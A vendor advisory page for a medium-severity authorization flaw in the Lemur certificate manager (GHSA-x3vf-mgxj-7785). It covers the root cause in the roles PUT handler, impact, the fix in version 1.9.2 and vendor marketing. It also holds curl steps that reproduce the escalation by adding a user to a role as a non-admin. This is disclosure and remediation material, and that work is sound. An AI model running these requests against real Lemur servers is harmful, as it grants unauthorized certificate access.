Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

GHSA-x3vf-mgxj-7785 lemur

MEDIUM

GHSA-x3vf-mgxj-7785 is a medium-severity (CVSS 6.3) CWE-863 vulnerability in lemur. A fix is available for lemur — see the affected versions and patch details below.

Lemur Privilege Escalation: Non-admin role members can rewrite role membership via PUT /api/1/roles/<id>

Also known asCVE-2026-55163PYSEC-2026-2591
Published
Jun 25, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-x3vf-mgxj-7785.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs6th percentile — riskier than 6% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-x3vf-mgxj-7785 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍lemur

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The PUT /api/1/roles/<id> handler in lemur/roles/views.py gates only on RoleMemberPermission(role_id).can(), which is satisfied for any user who is already a member of the target role. The handler then passes data["users"] and data["name"] directly to service.update(), permitting any role member to rewrite that role's membership list and name. The companion DELETE handler on the same resource is correctly gated by @admin_permission.require; the asymmetry between PUT and DELETE on identical resources indicates an authorization oversight rather than a deliberate design choice.

Root Cause

lemur/roles/views.py:298:

permission = RoleMemberPermission(role_id)
if permission.can():
    return service.update(
        role_id, data["name"], data.get("description"), data.get("users")
    )
return dict(message="You are not authorized to modify this role."), 403
 
@admin_permission.require(http_exception=403)
def delete(self, role_id):
    ...

lemur/auth/permissions.py:56:

class RoleMemberPermission(Permission):
    def __init__(self, role_id):
        needs = [RoleNeed("admin"), RoleMemberNeed(role_id)]
        super().__init__(*needs)

flask_principal.Permission.allows() is OR-semantic across needs, so RoleMemberPermission(role_id).can() returns True if the caller is either an admin or a member of role_id. The PUT handler treats membership-of-self as sufficient to mutate the role; DELETE does not.

Affected Endpoints

MethodPathSource
PUT/api/1/roles/<id>lemur/roles/views.py:298

Impact

A user who is a member of role X can:

  • Add other users to role X, granting them whatever certificate/authority access role X confers. In installs that delegate certificate or authority ownership to non-admin roles, this promotes arbitrary users to peer of every other role member.
  • Remove other users from role X, denying their access (availability / governance impact).
  • Rename role X to an arbitrary string. The "rename to admin" path is blocked by the unique=True constraint on Role.name and by strict equality in User.is_admin, so direct self-promotion to admin via rename is not possible on default installs. The principal exploitation surface is membership rewriting and lateral promotion of colluders within roles the attacker already belongs to.

Remediation

Add @admin_permission.require(http_exception=403) to Roles.put, mirroring the existing decorator on Roles.delete:

@admin_permission.require(http_exception=403)
def put(self, role_id, data=None):
    ...

If selective delegation is intended (role owners managing their own roles), that capability should be modeled with a dedicated permission class whose Needs reflect role ownership rather than membership, and the name field should be excluded from the mutable schema on that delegated path.

Steps to Reproduce

  1. Set up Lemur with default configuration. Create an admin user admin, and two non-admin users alice and bob. Add alice to the built-in operator role; leave bob with no roles or with read-only only.

  2. Authenticate as alice and capture the JWT:

    curl -X POST https://lemur.local/api/1/auth/login \
         -H "Content-Type: application/json" \
         -d '{"username":"alice","password":"<alice_pw>"}'
    
  3. Confirm the initial state - bob is not a member of operator:

    curl https://lemur.local/api/1/roles?filter=name;operator \
         -H "Authorization: Bearer <admin_jwt>"
    # observe: alice present in users list, bob absent
    
  4. As alice, send a PUT that injects bob into the operator role:

    curl -X PUT https://lemur.local/api/1/roles/<operator_role_id> \
         -H "Authorization: Bearer <alice_jwt>" \
         -H "Content-Type: application/json" \
         -d '{
               "name": "operator",
               "description": "modified by alice",
               "users": [{"id": <alice_id>}, {"id": <bob_id>}]
             }'
    # observe: HTTP 200
    
  5. Confirm bob is now a member of operator:

    curl https://lemur.local/api/1/roles?filter=name;operator \
         -H "Authorization: Bearer <admin_jwt>"
    # observe: bob now present in users list
    

Step 4 succeeds despite alice not being an admin. The same handler also accepts a name field; substituting "name": "operator_v2" in step 4 renames the role, demonstrating the second variant of the bug.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIlemurall versions1.9.2pip install --upgrade 'lemur==1.9.2'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lemur, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update lemur to 1.9.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x3vf-mgxj-7785 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-x3vf-mgxj-7785 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-x3vf-mgxj-7785. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `PUT /api/1/roles/<id>` handler in `lemur/roles/views.py` gates only on `RoleMemberPermission(role_id).can()`, which is satisfied for any user who is already a member of the target role. The handler then passes `data["users"]` and `data["name"]` directly to `service.update()`, permitting any role member to rewrite that role's membership list and name. The companion `DELETE` handler on the same resource is correctly gated by `@admin_permission.require`; the asymmetry between PUT and DELETE on identical resources indicates an authorization oversight rather than a deliberate desi
O3 Security · Impact-Aware SCA

Is GHSA-x3vf-mgxj-7785 in your dependencies?

O3 Security finds GHSA-x3vf-mgxj-7785 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-x3vf-mgxj-7785: lemur (Medium 6.3) | O3 Security